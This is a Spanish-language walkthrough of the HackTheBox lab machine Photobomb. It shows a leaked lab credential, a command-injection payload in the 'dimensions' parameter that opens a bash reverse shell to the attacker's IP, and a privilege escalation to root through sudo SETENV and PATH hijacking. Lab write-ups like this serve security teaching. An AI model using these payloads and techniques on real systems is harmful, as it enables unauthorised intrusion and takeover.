HackTheBox - Photobomb
Máquina Linux de nivel Easy de HackTheBox.
Técnicas usadas: Information Leakage, Command Injection, Path Hijacking
Fase de Reconocimiento 🧣
a. Enumeramos los puertos que están abiertos.
b. Vemos las versiones de los servicios que se están ejecutando en los puertos abiertos
nmap -p<Puertos> -sCV <IP> -oN versiones
Si visitamos la página web nos redirigirá a photobomb.htb, así que lo agregamos al /etc/hosts
c. Al inspeccionar el sitio web nos encontramos con un fichero photobomb.js
el cual contiene una credencial para el directorio /printer
1
('href','http://pH0t0:b0Mb!@photobomb.htb/printer');
d. Una vez entremos a este sitio, veremos que podemos redimensionar imágenes para descargarlas. Capturamos la petición con Burp Suite y empezamos a jugar con los parámetros
Si manipulamos el parámetro
dimensions
obtendremos diferentes respuestas, así que podemos intuir que es vulnerable a una inyección de comandos.
- Para saber si tenemos ejecución de comandos, nos pondremos en escucha de trazas ICMP y enviaremos un ping
e. Al tener ejecución de comandos, nos entablamos una reverse shell
1
2
3
4
5
Payload Burp Suite: dimensions=30x20%0a`bash -c "bash -i >%26 /dev/tcp/<tun0 IP>/443 0>%261"`
----------------------------------------------------------------------------------------------
❯ nc -lvnp 443
bash-5.0$ whoami
wizard
Escalada de Privilegios 💹
a. Listamos nuestros permisos a nivel de sudoers
1
2
3
bash-5.0$ sudo -l
User wizard may run the following commands on photobomb:
(root) SETENV: NOPASSWD: /opt/cleanup.sh
Analizamos el script
/opt/cleanup.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14
bash-5.0$ cat cleanup.sh #!/bin/bash . /opt/.bashrc cd /home/wizard/photobomb # clean up log files if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ] then /bin/cat log/photobomb.log > log/photobomb.log.old /usr/bin/truncate -s0 log/photobomb.log fi # protect the priceless originals find source_images -type f -name '*.jpg' -exec chown root:root {} \;
- Conclusiones:
- El script carga las configuraciones de
/opt/.bashrc
- find se llama de forma relativa por lo que es vulnerable a un Path Hijacking
- El permiso
SETENV
nos permite indicar un PATH para la ejecución del script
- El script carga las configuraciones de
- Conclusiones:
Vemos una configuración ‘novedosa’ en /opt/.bashrc
1 2
# Jameson: caused problems with testing whether to rotate the log file enable -n [ # ]
[
es un comando integrado en la bash, pero, al indicarenable -n [
deshabilitamos esta opción. Por lo que se vuelve otro comando el cual se llama de forma relativa y también es vulnerable a Path Hijacking
b. Conseguimos acceso como root con un Path Hijacking
1
2
3
4
5
6
bash-5.0$ echo -n 'chmod +s /bin/bash' > [
bash-5.0$ chmod +x [
bash-5.0$ sudo PATH=/tmp:$PATH /opt/cleanup.sh
bash-5.0$ bash -p
whoami
root